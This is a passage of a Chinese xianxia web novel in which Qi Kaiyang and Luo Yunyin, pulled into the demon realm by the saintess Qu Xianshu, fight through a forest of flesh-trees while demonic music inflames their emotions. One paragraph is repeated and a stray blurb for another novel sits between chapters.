  面对数百目光齐刷刷地看来,魔女一双形同柳叶的媚目顾盼流连,泰然自若。
  她身旁跟着两员魔将,男魔将脊骨生于体外如锯齿,赤鳞覆面,双目眼仁破碎,见之头晕目眩。女魔将的肌肤如月华凝脂,背生蝶翼,胸臀曲线玲珑,偏生脸蛋上只在鼻梁山根处生了一只眼睛!
  魔族现身之后,魔气纵横,在场的修士无不大异平常。或觉心头狂躁,或觉哀从心来,或觉如陷梦魇。有些修为不济的,更开始嚎啕大哭,似觉人生无望。
  「听闻魔族有位圣女红色长发貌美如花,名叫曲纤疏,兴许就是这一位,小心些。」洛芸茵则心头噗噗大跳,俏脸绯红,只觉身旁男子的气息甚是好闻,不自禁地就想靠在他身边。这一句话,几乎是对着齐开阳咬耳而言。
  齐开阳不受魔气影响,女儿家口中香风如兰,发觉洛芸茵有异,悄然将她挡在身后。默运真元之下,八九玄功展开护住周身。得玄功笼罩,洛芸茵脑中顿时清明,回想起方才的异状,大是羞惭。好在被挡在齐开阳身后,少年并无察觉自家羞色。一时间,不由对魔女恨得牙痒痒。
  「魔族女子,哪一个不是嫁了三千个丈夫?」鸾驾之中传来个深沉厚重的男声,虽是反讥之言,威严十足。
  「殷公子是吧?听过你的名头。」魔女回身远远望着鸾驾咯咯而笑,笑声放荡不羁,道:「好清高的样子。好吧好吧,你们的人召唤魔界,是哪一位?且出来,有何事?」
  齐开阳眉头一皱。召唤魔界?在大宋皇宫顶上?魔女这般轻佻孟浪,所言可真?
  正疑惑间,殷其雷厉声喝道:「一派胡言!魔界犯我人间,还敢嚼舌?今日诸同道在此,正好除魔卫道!」
  「咯咯咯,好不羞。我说殷公子哪,你们什么同道自诩为正,脱了衣裳和我们魔族何异?就算不脱,不过多了几片遮羞布罢了。」魔女回身四望,道:「只怕掏出心来,一个个比蛆虫还脏。殷公子,要不要咱们当场论证一下?」
  魔女似在洽询,手中已一挥撒落一片淡淡的荧光粉末。天上罡风一吹,粉末四散。诸多修士正受七情六欲影响,浑浑噩噩,登时有人吸入腹中。
  「七情蛊?」有人惊觉,忙出声警示,修士们颇见慌乱。可已有人吸入七情蛊,狂态大做。有些忽然祭出法宝兵器,与身边人打作一团;有些狂呼惨嘶,不知被从何来;更有的忽然撕扯着衣裳向身边的异性扑去……
  「你看,你看,殷公子,我说什么来着?」魔女得意地放声荡笑,晶莹的玉指指点着四处道:「这就是你们的自诩为正?」
  鸾驾中静悄悄的,不知是在抵御魔功,还是无话可说。片刻后鸾驾扫出灵光,荡涤天空,失了神智的修士们脑中一清,纷纷停下手中动作,愕然目瞪。
  「些许魔功竟敢在此放肆!东天池既为魁首,不容你胡作非为!」
  魔女不理殷其雷之言,扫视的目光在齐开阳身上停下,露出个古灵精怪的笑意,上上下下打量着少年,道:「有趣,这一趟倒没白来。」
  魔女反身向魔界飞去。殷其雷终于从鸾驾中现身,怒喝道:「魔头休走!」
  他一现身,身后随侍的仙家立刻前后围绕,似组成个阵势。齐开阳见这位名满世间的东天池公子生得一双浓眉,眼睛不大不小,厚鼻子,薄嘴唇,显得很是憨厚,身材雄壮威武。相貌肯定不俊,说丑倒也没有多难看。
  「你要跟我较量较量?」魔女回身,眉心原本艳红的血痣此刻转做绛紫色,荡笑道:「来吧,我来见识见识殷公子的手段。」
  随身的两员魔将双手托天,七座白骨塔塔尖放出邪异的蓝紫色光芒。九天之上忽然起了七道旋风,众修士被旋风一卷失了身形,朝魔界飞去。
  「界域之力?」殷其雷爆喝一声,身旁随侍仙家一齐出手,抵着塔尖的蓝紫色光芒,制止旋风肆虐。
  「哟,原来有强援啊。好一个光明正大,原来是躲躲藏藏装神弄鬼之辈,哈哈。殷公子,奴家请你也一道来,没本事逃出去,正好把你的金丹剖出来,就给奴家的胭脂盒镶道金边用。」魔女咯咯一笑,双臂游泳般徐徐挥荡,塔尖光华大放,七道旋风汇做一道,狂风大作。
  齐开阳先前还能勉强抵御,此时只觉身体一轻,全把控不住身形,在空中像纺车一样乱转。百忙之中伸出手去,身后一只柔荑正好伸来,两人一握,被旋风卷着直向魔界冲去。没入界域边缘的一瞬间,只见鸾驾附近道光大放,死死抵御着狂风……
  这一场大风,吹得天地间飞沙走石,穿山折林,裂石绷崖。待大风过去,阴素凝举目遥望,只见空中魔界裂隙消失,诸多修士身影不见,更加寻不着齐开阳。
  皇后娘娘呆呆站立在玉髓阁中,娇躯忍不住剧颤起来……
  齐开阳浑浑噩噩,不知飘了多久,才觉身体一轻,从高空中直摔下来。脑中半点清明察觉,忙将怀中娇躯一搂护住,背心向地啪地一声砸在地面。
  「你……没事吧……」高处摔下,任你钢筋铁骨也要受伤。洛芸茵被齐开阳护住,毫发无损,慌得一翻身看向齐开阳。
  「呼……好像没事。」齐开阳摔得晕乎乎,身上竟然不怎么疼痛,正挣扎,触手觉得指间滑溜溜的。回眼一看,吓得魂不附体跳起:「哇,这什么东西!」
  魔界地面犹如凝固的暗红色晶簇,手一按上去便流出琥珀色的液体,故而齐开阳无伤。可这些晶簇中,却有一个个婴孩般的面孔,或喜,或怒,或哀,或羞。
  其中数个被齐开阳摔下时砸中,面孔破裂,在半凝固般的地面上发出噗噗的气泡声。
  「是……是从前在魔界里死去的修士神魂……」怪模怪样的婴孩脸,洛芸茵被吓得俏脸发白,牙关格格大颤。
  齐开阳怪叫一声,左右皆是密林,当下不敢再踩着地面,忙与洛芸茵一同跳上树杈。可落脚树杈时身形一晃,大树竟似动了动。定睛看去,树木自主干起,全是跳动的血管,枝桠上的叶片全是一臂长短的巨大心脏,正与血管枝干一齐汩汩地跳动。
  林风拂过,【树叶】交叠在一起,叶面上便浮现人面魔婴,互相啃食,鲜血淋漓。
  两人看得这等可怖之事,亡魂大冒。那些人面魔婴亦见到了闯入者,发出婴孩般喜悦的憨笑声。枝桠倒卷,朝两人卷来。
  洛芸茵吓得连声惊叫,取出碎玉璇玑左右乱砍。枝桠被剑锋砍断,鲜血喷溅。
  少女哪肯让污秽沾染,忙飞身而起。齐开阳紧随而上,元功到处,数条枝桠被蒸作虚无。两人飞上天空,洛芸茵忙取法宝罩在头顶,将两人身形隐藏。惊魂未定之下,抓着齐开阳的手臂瑟瑟发抖。
  齐开阳同样心惊胆战,壮着胆子四处打量。龟裂的天穹血月高悬,呼吸之间空气里带着如硫磺的焦枯味。七座白骨尖塔依然在空中倒悬,刺破了云端。足下一片方圆百里的密林间,一条暗红色的血河蜿蜒。河水似熔岩般不时跳起火焰,又带着水银般的光彩。河面上飘着无数琉璃灯,每一盏灯都燃着各色焰火。
  「七情火……」洛芸茵仍在后怕中,颤声道:「靛青的是妒火,猩红的是情欲,金黄是愤怒,灰白的是绝望……」
  琉璃灯顺流而下,林外的河水中百余名魔族男女正浸泡在河水中。他们招手蹬足,像某种神秘的舞蹈。琉璃灯焰流经身边,焰光便向他们身体飞去,似被吸食。
  「听说魔族需定期吸食七情六欲为生?」齐开阳看得骇然,抹着冷汗道。
  「是!魔族男女常化身常人行走世间,诱惑人欲,以此供养魔界。」
  再往远处,一座高楼几如顶天立地。窗棱间垂落着淡淡的薄雾,透出楼内正觥筹交错,魔影重重。楼内漂浮着一个个气泡,影影绰绰,有些回荡着仙门高人与魔女缠绵的虚影,有些发出女子撕心裂肺的哭嚎。魔头们大声笑谈,放喉豪饮,似将这些悲欢之事当做佐酒之物。
  只是随风而来的断续声音,连齐开阳都听得心绪震动,洛芸茵更难克己,一时俏脸绯红,嘤声娇喘。
  再往远处则被雾霭遮蔽,目力难及。
  「得赶快离开这里。」洛芸茵后怕万分,在魔界之中受诸欲干扰,迟早沦落为魔。
  「我听说魔界中有一座无垢宫,是人魔两界的连接处。若能穿过,就能重返人间。」齐开阳忆及往昔所学,竭力平心静气,寻求应对之法。
  「你的恩师教的?」洛芸茵束手无策,闻言大喜。齐开阳的恩师她亲眼所见通天彻地之能,若是慕清梦亲授,必不妄言。奇的是在魔界之中,各种情绪似都会放大。少女大喜之下,竟有在齐开阳脸颊亲上一口的冲动。
  「嗯。无垢宫又在哪里?」
  「这一路穿过【噬心林】,闯过【悲欢楼】,东边还有【极乐宴】。你要有这个本事,再过了【因果池】,就能到人家的【无垢宫】啦。」
  齐开阳正沉吟间,忽然一段银铃般的娇声响起,先前施法将众修士吸入魔界的魔女忽然现身,笑吟吟地看着两人隐藏之处。
  「你……」两人大惊,齐开阳忙上前一步将洛芸茵挡在身后。这魔女法力无边,根本不是两人能抗衡的。齐开阳更怕魔族行事乖张,临死前还要折磨两人为乐。
  「你想知道什么,我告诉你什么,你还要防着我?你们人类都是这样的?」
  魔女娇滴滴的,眉心血痣转透出淡淡的金色。
  齐开阳想起七情火的色彩,暗思莫不是惹恼了她?于是向洛芸茵使了个眼色,收起藏匿的法宝,拱手道:「多谢……这个……仙子指点。」
  「仙子?咯咯咯……」魔女被逗得连声娇笑,时而放浪地舒展四肢,身上曲线乱抖,时而又娇羞地抱臂掩口。笑了好一阵才道:「她才是仙子,我不是。」
  「总之多谢啦。」齐开阳看魔女眉心血痣色彩不时变换,又想起她先前话语,直言道:「我们被牵连进入此地,只想离去,并无敌意,还请行个方便。」
  「那可不成。」魔女上下打量着齐开阳,道:「我专一把你抓来,耗费了好多法力修为,你想走就罢了,还想我行方便?这么蠢,让人家有点点失望哪。」
  「额……」齐开阳眉头跳了跳,专一抓来,意思是专门为了抓我?简直莫名其妙。魔女非自己所能匹敌,齐开阳无奈道:「若是专门抓我,我技不如人,无话可说。你要怎么处置我,我随你就是。与她无关,请让她离去,这样可以吧?」
  齐开阳让开半个身形,示意放洛芸茵离去。少女大急,在身后狠狠给了他一拳,至于急的什么,一时自己都闹不清。
  「嗳~这句话有点意思,我又不那么失望了。」魔女咯咯娇笑,道:「但是不能。有本事的,按我说的路线走,能走出来,自然能离去。走不出来,生死无怨。
  别怪我没提醒你,用两条腿老老实实地走。再飞起来,被叼魂鹫吃了,别想有谁来救。」
  魔女挥手之下,齐开阳与洛芸茵身体一轻,从空中轻飘飘地落回噬心林,林中怪木见来了血食又张牙舞爪地卷来。魔女从天而降,怪木见状纷纷退避,她捏着齐开阳的下颌凑近,眉心血痣诸色变幻,呵出一股甜甜的香风道:「小家伙,可别让我失望。哎呀,好想现在就试一试。」
  娇笑声中,魔女飞天而去。天空中又传来巨大的扑翅之声,一团黑影铺天盖地,良久方过,料想是魔女提到的叼魂鹫。如此数量与声势,齐开阳自知无能为力,回头向洛芸茵苦笑了一下,哑口了半天,憋出一句道:「她想试什么?」

新婚夜,植物人老公忽然睁开眼
简默
父亲公司濒临倒闭,秦安安被后妈嫁给身患恶疾的大人物傅时霆。所有人都等着看她变成寡妇,被傅家赶出门。 不久,傅时霆意外苏醒。 醒来后的他,阴鸷暴戾:“秦安安,就算你怀上我的孩子,我也会亲手掐死他!”

风雨无阻 / 发表于: 2025/09/05 09:33:54

第二章:如影流光
  「你相信魔头说的话?」
  「我还没遇见过魔族,听说过只言片语,说不上信还是不信。」齐开阳看着洛芸茵因紧张而蹙起的双眉,因惊慌而瞪大的眼眸,轻声而坚定道:「她的修为远非我们能及,要动手,根本不需要骗我们。」
  「你是不是总喜欢下这样的判断?认为一个人能做的事情,没必要换一种方法?」
  一句话将齐开阳问住。人心隔肚皮,莫论行事乖张的魔头。
  「我想起来了一些,这里若是【噬心林】,河水就是【蚀骨河】。你看河面上飘荡的琉璃灯里,都是七情六欲。魔族以吞食七情六欲为生,刚才那位魔头,或许要逼出我们种种情绪。好的,是供她修行,不好的,仅仅让她取乐,玩腻了再我们杀死。」洛芸茵似是适应了可怖的魔界,渐渐恢复冷静,一番话说得在情在理。
  魔族行事怪异,难以捉摸,洛芸茵所言的确大有可能。洛芸茵年岁虽幼,出身顶级宗门,母亲身居高位,见识与所知远超柳霜绫与阴素凝。齐开阳连连点头,只盼再听她多指点些。
  「你就这么看着我干嘛?说话啊。」洛芸茵一瞪醉星目,没好气道。自入了魔界之后,每一种情绪都会轻而易举地放大,喜则更喜,怒则更怒,忧则更忧。
  「在等你指点,嘿嘿。」齐开阳干笑一声,想了想道:「听我师尊曾说过,魔界与我们是两个不同的界域,平日互不相干。偶有些魔头兴风作浪,两界之间并无冲突。我在想,这么多修士同道被吸入魔界,魔头未必想惹得两界大战。洛仙子说的话很有道理,不过我觉得,魔头说的那句有本事自然走得出去,没本事走不出来,生死无怨,多半不是戏弄之言。」
  洛芸茵轻轻颔首。
  「魔族吸食七情六欲,我们沿途会遇见种种从前没见过的事情,生出什么情绪来。魔头可不会客气,该吞就吞了。她说的几分真,几分假,其实不太重要,最终靠的我们自己。」齐开阳震了震精神,肃然道:「其中最关键的是,咱们又是绑在一条绳子上的蚂蚱……」
  「无论看见了什么,遇见了什么,咱们两人之间,一定不能互相猜疑!否则会被魔头玩弄于股掌之间。」洛芸茵抢过话头,坚定道!
  「是,洛姑娘聪慧,我只想到这么多。」齐开阳笑着道:「我自幼修习的功法,对旁门左道颇有克制之能,或许能起些作用。洛姑娘,你为了助我身陷此地,我心中过意不去。无论如何,我一定尽我所能助你离开魔界。」
  「你对我说这种话是什么意思?我自己有手有脚,好像全靠你一样?」洛芸茵脾气上涌,怒道:「助我离开魔界?你呢?柳姐姐在等你,皇后娘娘也在等你!
  还有,你不管自己的宗门?不管恩师和同门了么?」
  「若没有置之死地而后生的念头,在意的人和事,就永远与我无关了。」
  「这句还像人话。」洛芸茵心中稍平。看齐开阳尚能心平气和,冷静处事,而自己的情绪不时就被放大。料想除功法的缘故,齐开阳几番经历都是险死还生,少年比自己更加成熟稳健。在十万大山时,两人同陷危机。但自己六神无主,一味听从,而齐开阳则把责任都扛在肩头。这一刻对比之下,她才有些心服口服。
  心服口服,但不服气,少女倔强地挺直了腰肢,道:「我们一起闯出去,谁都不许拖后腿。」
  「好!」齐开阳心中一荡。洛芸茵直腰时自然挺胸,饱满的胸乳几欲破衣而出,愈显高挑的身形曲线曼妙。他正旖旎间心神一悚,魔界挑动人的欲念,八九玄功虽有克制之效,毕竟修为尚低。齐开阳不断警醒自我,以免堕入魔界无尽的欲念轮回。
  噬心林里诡状殊形,两人先前见过。此刻再处其中,心里砰砰直跳,神魂仍觉得不适,依然有恶心之感,不再惊慌失措。林里步步都是怪木,想要远离丛丛怪木的骚扰,唯独蚀骨河里不生。魔界中的一切与仙凡界大不相同,河水不知有什么异能。两人商量之下,决定还是从林木中穿行。
  洛芸茵抖开隐身衣,两人的身形消失。魔女现身之后,怪木魔婴远远退避,不敢靠近。两人悄无声息地前行了半里,见怪木魔婴一无所觉,不由大大地松了口气。
  这些怪木都是魔界天生地养之物,生得骇人,倒不算太难对付。两人原先担忧若是陷入围攻,无穷无尽的淹也把人淹死了。隐身衣既有奇效,就不至被逼入绝境。
  心神稍松,齐开阳又觉一缕情丝缭绕而起。挨在身边的洛芸茵散发着处子幽香,时不时触碰到她的藕臂,少女的肌肤隔着袖管都传来柔滑与极具弹性,免不得心中绮念翩翩。转头一看,洛芸茵蹙着寒烟眉,气息微促,珠圆玉润的唇瓣抿得都薄了些。
  「别看我,集中精神!」洛芸茵低斥一声,声音中异常地紧张。
  齐开阳恍然,微展八九玄功,金光泛出,魔界里诡异的气息被隔离,不仅自己心头一松,看洛芸茵眉目舒展的样子,似好受了些。
  功法有效,齐开阳信心大增之际,忽闻一缕奇异的声音传入耳际。细听之下,竟是段乐曲。
  明明是笛音,却又伴着一声声弦颤。曲调如奏梵音,带着宝相庄严,荡涤心灵。可原本梵音里的钟鼓之声,以笛音的悠扬奏起,婉转曲折。穿插在曲中的一记记弦颤,更如缠绵悱恻。
  「地藏王菩萨《安魂经》?怎会奏成这样?」齐开阳偶得无为僧传授些经文,细听之下听出曲中之词。不同的乐器,节奏的改变,竟起了截然不同的效果。
  「深入骨髓。」洛芸茵声音颤抖。她尝试闭去听觉,可魔音震动着她全身骨骼,依然传入脑海。心中刚起惊惧之意,就觉周身发凉,惧意弥漫,一下子僵住了身体,涌入脑海。
  「别怕!」
  坚毅的声音在耳边响起,齐开阳身上泛出的金光亮了些。奇异的乐曲与魔界中诡异的气息融合,七情六欲都像失了控,着实难当。以八九玄功隔绝魔界气息,只抵挡乐曲的幻媚,稍稍好受了些。
  洛芸茵心神稍定,娇躯一轻,齐开阳搂着她的腰肢离地而起。低头看去,地面上不知何时长出连片五彩斑斓的魔菌,一个个都张着血盆大口,见之欲呕。从两人的足底不断有各色的气丝涌出,魔菌子大口大口地吞咽着气丝。
  「这里也有。」两人畏惧的情绪刚生,紫色的气丝从足底大生涌出。诡异的变化更让两人畏惧之心更生,林中的乐曲骤然响亮。一声声的弦颤,乐音无可抵御地传入耳中,似女子的呜咽,又带着金属琴弦的刮擦声,催发着惧意蔓草般生长。
  齐开阳努力抑制着惧意,咬牙切齿。洛芸茵唇瓣微动,低声吟诵着玄奥的经文。两人的惧意稍减,足底紫气从浓烟变作淡雾。可片刻间,又冒出猩红之气。
  齐开阳满面通红,洛芸茵更是未经人事的处子,嘤咛一声羞不可抑。揽着她离地而起的大手一直环在腰上,洛芸茵不知有意无意,齐开阳不知有意无意。亲密的姿势让两人情欲大升,所幸理智未失,齐开阳立刻松手。可相互之间的触感依旧在腰肢与掌心里萦绕,足底下猩红气息狂涌。
  七情六欲,人所难免。魔菌吞食惧意与情欲,眼看着望风而长。原本沉寂的魔婴怪木亦察觉到这里的变化,见魔菌无恙,血管般的枝干向两人伸来。枝头的魔婴怪叶桀桀而笑,让人不寒而栗。
  「杀出去!」洛芸茵一掐掌心,指甲刺入柔嫩的肌肤里,痛楚传来,余感消退,脑中暂得清明,寒着俏脸道。
  「好!」齐开阳抬眼四望,林木无穷无极,咬牙道:「往河边去!」
  「无非一死!」洛芸茵声音仍在打颤,语声坚定了许多。两人都是热血的少年,临危之际虽惧虽慌,倒激起心中的不服与豪情:「就杀去看看河边有什么古怪!」
  齐开阳金光大放,如旭日在林间升起。洛芸茵撤去隐身衣,娇叱一声,身边泛起星光点点。齐开阳玄功护体,洛芸茵展开星斗剑阵,剑光道道,斩裂沿途的血木与魔菌,一路向蚀骨河杀去。
  沿途残断的血管枝条,碎裂的魔婴心叶,烂泥般的魔菌延伸至蚀骨河。这些魔物居然发出狂笑之声,悍不畏死地朝两人卷来。
  血战激发了勇气,林中的魔音不再能轻易勾动种种绮思。更激发了少年人的凶性,齐开阳双目赤红着环顾全场,一旦洛芸茵的剑光受阻,立刻抬手打出十余枚金丸助阵。两人联手,当者披靡。
  暗红的河水翻滚,各色琉璃灯盏顺流而下。两人身上金黄色的气丝狂涌着,被琉璃灯吸入。
  岸边的血木弥漫着向两人卷来,林中的曲音声贯云霄,可曲意却哀婉转折,像离人的幽怨。
  齐开阳杀红了眼,已不管洛芸茵的剑光,只顾挥洒着金丸。玄功到处,诸魔被蒸做虚无。
  「痛快,痛快!」齐开阳肆意地狂笑,一身修为已提到了极致,金焰腾腾,沛莫能御。
  狂笑中合身而上,两拳打爆两棵血木,回望时,见洛芸茵身边星斗闪烁,少女玉指一点,蚀骨河水升起数丈的水墙,裂分为百把水剑横在空中。洛芸茵娇叱一声,水剑射向四面八方,剑光所及,无论血木魔婴还是魔菌,全被斩成数段。
  「好一招【水妙天灵剑诀】!」齐开阳高声大赞。
  「齐哥哥,你喜欢人家这一招么?」洛芸茵俏脸酡红,目迷五色,猩红的情欲气丝在足底狂涌。
  「喜欢!」齐开阳狂态大做,见少女娇俏可人,明艳不可方物,心生亲近之意。一闪而回少女身边道:「再来一招!」
  「你抱着我。」
  洛芸茵口中香风直钻鼻端,甜腻的气息让人遐思无限,齐开阳正欲搂抱,忽然猛醒。借着片刻的清明,齐开阳一咬舌尖!
  剧痛之下杀意退却,入目一片血红,几不能视物。目力受损,耳力随之变得敏锐。林中的乐曲如旖旎妙音,齐开阳此刻听得清清楚楚,曲中词意,都在宣扬放纵与随性而为。这首可怕的乐曲,先前虽听不清词意,可无时不刻都在影响两人的道心。
  见洛芸茵又招蚀骨河水,齐开阳虎步上前,左肩一痛。回身看去,肩膀鲜血淋漓,三支水剑刺在肩头。心神一阵恍惚,洛芸茵竟已入魔?竟然在攻击自己?
  疑虑一念生,怒意心头起。齐开阳反手拔去水剑,正欲将水剑朝洛芸茵射去,入手一片泥浆之感。
  少年猛然醒悟,闭上双目运起神识。不为五感所迷惑,手中抓着的并非水剑,而是血木上的魔婴。齐开阳展开玄功徒手一捏,魔婴爆裂被金光蒸做虚无。识海中所见,洛芸茵双目迷离,一眨不眨地看着他,蚀骨河水所化的水剑射向四面八方。
  「洛姑娘!」齐开阳正欲提醒,两片温软香甜的唇瓣已印了上来。技巧生涩却又热情无限,连半截软嫩丁香都伸进嘴里。
  洛芸茵生就一张樱桃小口,唇瓣却珠圆玉润的丰满。少女的香吻如此诱人,那唇瓣用力地吸吮,香舌燃烧着欲焰翻搅勾挑,幽香阵阵更激起绮念纷纷。齐开阳一阵眩晕,识海中周遭的魔婴一个个都长着洛芸茵迷人的醉星目,正吃吃而笑。
  正沉醉之间,舌尖一痛,少女贪婪的吸吮,贝齿正咬中齐开阳的舌尖。
  齐开阳瞬间惊醒,奋力挣脱少女令人无尽陷落其中的温柔,一声爆喝:「守心!」
  洛芸茵被一喝震如五雷轰顶,正迷茫间,眉心被一指点中。温暖而霸道的真阳之气从眉心灌入,灵台清明,脑中一醒,眉心上一点液珠烫如滚水。少女惊叫一声,痴缠着齐开阳的四肢松开,一时竟不知如何是好。
  齐开阳返身打出金丸逼退血木魔婴,唇角上流出血迹。洛芸茵这才惊觉眉心上助自己宁定心神的,是齐开阳的精血!再看时,果然齐开阳面色微泛黑气。
  「快走,杀过去!」齐开阳身形有些不稳,晃了晃头,一把拉住洛芸茵冲出。
  虽得暂时清明,危机四伏。魔音贯脑,蚀骨河水上的琉璃灯依然在不停吞噬两人的七情六欲。洛芸茵俏脸绯红,眉心热感逐渐褪去之后,更觉羞不可抑。虽是险些入魔,清醒之后所有的记忆仍在。迷情之际的热烈对未经情事的少女而言,念及眼酣耳热。可在魔界各种情绪催动之下,竟对齐开阳推开自己生出幽怨之意来。
  两人一路不知杀了多远,力衰骨软。幸亏噬心林里都是些低劣的魔族,修为不强,被围攻之下尚能应付。
  齐开阳翻出银装锏,大开大阖,重兵过处,魔族被击作一蓬血雾。魔族一见这件兵器,立刻哇哇怪叫着远远逃开。齐开阳错愕,见宝锏上泛出淡淡的银光。
  银光虽淡,其正凛然不可侵犯。齐开阳自得这件兵器,出山之后渐知恩师出身不凡,所赠的兵器绝非凡品。但历来使用,除了觉得坚不可催之外,并无过人之处。
  此刻身处魔界,宝锏第一次泛出神光!
  洛芸茵娇喘吁吁,法囊中传来微弱震感,心念一动,碎玉璇玑病恹恹地现身。
  宝剑一出,立刻依附在银装锏上,似一对久别重逢的情侣。齐开阳与洛芸茵看得呆了,林间魔音随风荡来,两人正思绪万千,登时又有情绪难以自制的念头。
  「铮!」一声脆响,银装锏与碎玉璇玑交相一击,清脆的剑鸣声正亮起于魔音转折的曲调之处,魔音登时一哑。几番敲击,魔音终于溃散。再看时,碎玉璇玑剑柄上的两只眼睛似睁开,射出邪异的光芒。
  无数魔气朝碎玉璇玑狂涌,两柄兵器的顶端时而交击,每一次都在魔音曲调转折之时。魔音受此干扰,断断续续,曲不成曲,威力大减。狂涌的魔气在碎玉璇玑前压缩成一个暗红色的光球,光球中的魔气经由宝剑碎裂之处的脉络传入银装锏。无数魔气朝碎玉璇玑狂涌,两柄兵器的顶端时而交击,每一次都在魔音曲调转折之时。魔音受此干扰,断断续续,曲不成曲,威力大减。狂涌的魔气在碎玉璇玑前压缩成一个暗红色的光球,光球中的魔气经由宝剑碎裂之处的脉络传入银装锏。
  齐开阳手中一紧,银装锏竟自行抽取他的真元。银光中染上了金纹,魔气在银装锏上一转,污秽尽去,再传入碎玉璇玑中。宝剑散发着诸色毫光,魔族见状纷纷怪叫着躲得更远,再不敢逼近半步。
  「快跑。」
  洛芸茵握住宝剑,齐开阳拿住银装锏,跟随着刚迈了一步就是一个踉跄。若不是洛芸茵顺势扶住,险些栽倒。
  「你怎么了?」齐开阳面色惨白,冷汗滚滚,洛芸茵心焦不已。
  「先走。快!」齐开阳咬着牙,深吸一口气,强自振奋精神,大踏步地奔去。
  先失了一口精血,转化魔气时又被抽取大量真元,齐开阳头晕眼花。
  踉踉跄跄的身形,仿佛下一步就会倒下。洛芸茵顾不得许多,一手高举碎玉璇玑,一手搀住齐开阳的臂膀向前奔去。曲寒山的苦修,在这一刻展现得淋漓尽致。眼看着要晕去的少年,咬着牙,瞪着眼,足下泛着金光竭力奔跑,居然不落于后。
  初见齐开阳时,曾嘲笑她连最简单的飞行都不会,只能用两条腿奔跑,跟凡人无异。洛芸茵心中大为震撼,几乎油尽灯枯的齐开阳,足下比自己还要快些。
  在不敢飞行的魔界里,双足飞奔居然有了奇效,两人一刻不停地穿过噬心林。
  林外是一片大大的荒芜平原,洛芸茵寻了片空地抖开隐身衣,扶齐开阳坐倒。
  齐开阳收起银装锏,即刻盘坐运功。洛芸茵虽有满腹话语,更想看看自己珍逾性命的宝剑,可又怕剑光惊扰了魔族,恋恋不舍地将碎玉璇玑收进法囊。
  齐开阳运功时身上金光流动,洛芸茵暗叹一声,隐身衣聊做安慰之用,只能祈祷此时别再遭逢强敌。转念又想,若遭逢强敌,说不得挺身迎战。齐开阳在林中护下了她……
  刚念想间,面前的虚空一阵扭曲,消失许久的魔女从虚空中现身。洛芸茵绝望地闭上双目,顷刻睁眼起身穿过隐身衣,挡在齐开阳身前。
  「哟,小姑娘听讨人喜欢的。」魔女掩口咯咯娇笑,满头红发火焰般飘扬,仅片缕遮挡的乳峰滚滚,媚如春花。
  「敢问尊驾可是魔族圣女?」洛芸茵横掌当胸,默运元功。
  「是呀,我姓曲。」
  洛芸茵心头了然,眼前的果然是魔族圣女曲纤疏。她深吸了一口气道:「尊驾所来何为?难道要毁诺?」
  「诺?我不高兴毁就毁了,那有什么?咯咯。」曲纤疏笑声中拉了个长音,道:「不过嘛~我现下对你们接下来的表现更有兴趣。欸,小姑娘,你那么喜欢他,不如试试趁他现下不能动,一举将他吃了如何?」
  料想一举一动都在曲纤疏的眼里,洛芸茵满脸通红,羞得目光躲闪,支支吾吾道:「哪里有……喜欢他……」
  「还在嘴硬。刚才那个浪劲儿,可不比我们魔族最有经验的女子差多少呢。
  啊~或许你已喜欢了他,偏偏自己还不知道。不对呀,方才我吹奏离人怨,你该当自知的,别骗人哟。」
  「你……」洛芸茵还是处子之身,被这句话说得七窍生烟,泪珠都在醉星目里打着转。心中又想,原来是九幽断魂曲中的离人怨,难怪闭了听识都无用。
  「你们人族就是这样假惺惺。明明喜欢,非要说不喜欢。明明想要,还装作清心寡欲。你是剑湖宗的弟子吧?还好还好。若是什么佛门子弟,更是满嘴的大义道德。说不定我一不高兴,当场就杀了,剥了皮挂到合欢树上当肥料。」
  「佛门一心劝人向善,曲圣女,你们魔族任性偏执,若能读读佛经,说不定不那么乖张狷狂。」洛芸茵心中气苦,实在忍不住少女心性,反唇相讥。
  「哟,任性偏执?那我问你,人非草木孰能无情。佛门弟子难道生来就无情?
  偏要去修什么看透世情,就算看不透非要去追求,算不算任性偏执?那与我们魔族何异?我看哪,比我们魔族还要偏执呢~」
  「这……」
  洛芸茵一时语塞,曲纤疏不仅修为高,口齿又伶俐,实在说不过她。正心焦之际,忽闻齐开阳道:「人非草木,孰能无情。但人不能和野兽一样,只为饿了就捕食,只为传宗接代就交配。人之所以为人,就因可以克制欲念,不戕害,不肆意妄为。若像圣女所言随性而为,人就不配称之为人,像你们魔族多些。」
  「这就有见地多了,有那么点儿道理。」曲纤疏见齐开阳撩开隐身衣起身,上下打量一番,道:「不安心打坐,不怕死?你不要命啦?」
  「要。」齐开阳苦笑了一下,道:「可是我是人,我不能让洛姑娘一个人面对圣女阁下,怕死也得起来呀。」
  「哎哟哟,这么会说话,人家姑娘要对你死心塌地了哟。你那么为她考虑,人家可要嫉妒得狠了。」曲纤疏身影逐渐模糊朦胧,留下一串银铃般的笑声道:
  「到前面的【悲欢楼】来,我在顶层等着你们。」
  悲欢楼在一望无际的荒芜原野深处巍然而立,洛芸茵远眺一眼,道:「你怎么样了?」
  「难。走吧,我们去悲欢楼闯一闯。」齐开阳摇头,张了张嘴,终于将话吞回肚子里。舌尖被洛芸茵咬破,又不得不挤出精血。修道中人,不到万不得已不失精血,一旦失了精血,元气大伤。可占了人家姑娘便宜,遍尝她的香甜火热,真不知该哭该笑。
  「哼。」洛芸茵自明其中原因。齐开阳真元大耗就罢了,失了精血只能慢慢将养恢复。此情此景之下,哪容得他调养?少女五味杂陈,曲纤疏一句话正点中她心头。自入魔界以来,情绪诱发,对齐开阳亲近的情感并不是虚无。——魔界气息只是放大情绪,并非凭空而造。若是虚无,有哪来那些旖旎的念想?洛芸茵抿了抿唇,鼻翼翕合,哼声道:「皮糙肉厚的样子,赖皮狗!」
  「不是约好了不这样叫我了嘛。」齐开阳叫起屈来。
  「就是!你就是!赖皮狗!就要叫……」
  碎玉璇玑与银装锏有克制魔族的神效,两人对闯出魔界信心大增。向悲欢楼沿途洛芸茵查验宝剑,碎玉璇玑吸取魔气之后凝聚的光球已溃散。宝剑又是先前那样残破不堪,力尽体虚的模样。齐开阳取出银装锏,宝剑与银装锏相偎依,仍无改观。
  两人修为不足,器灵似乎也在沉睡之中无法沟通,满心疑团难解。
  接近【悲欢楼】,这一路楼中魔头肆意狂放的声音不断,越近越是清晰。眼看七层的高楼近在眼前,两人为免一上来就起冲突,遂收起兵器。
  窗纸透出魔影重重,各式各样的哭叫,嬉笑之声不绝于耳。有魔族的,有人的,还有不明所以的妖言兽语。七层的高楼只有一扇仅容一人通过的小门,两人来到楼前,小门吱呀一声打开,露出个魔族男子的丑脸来。
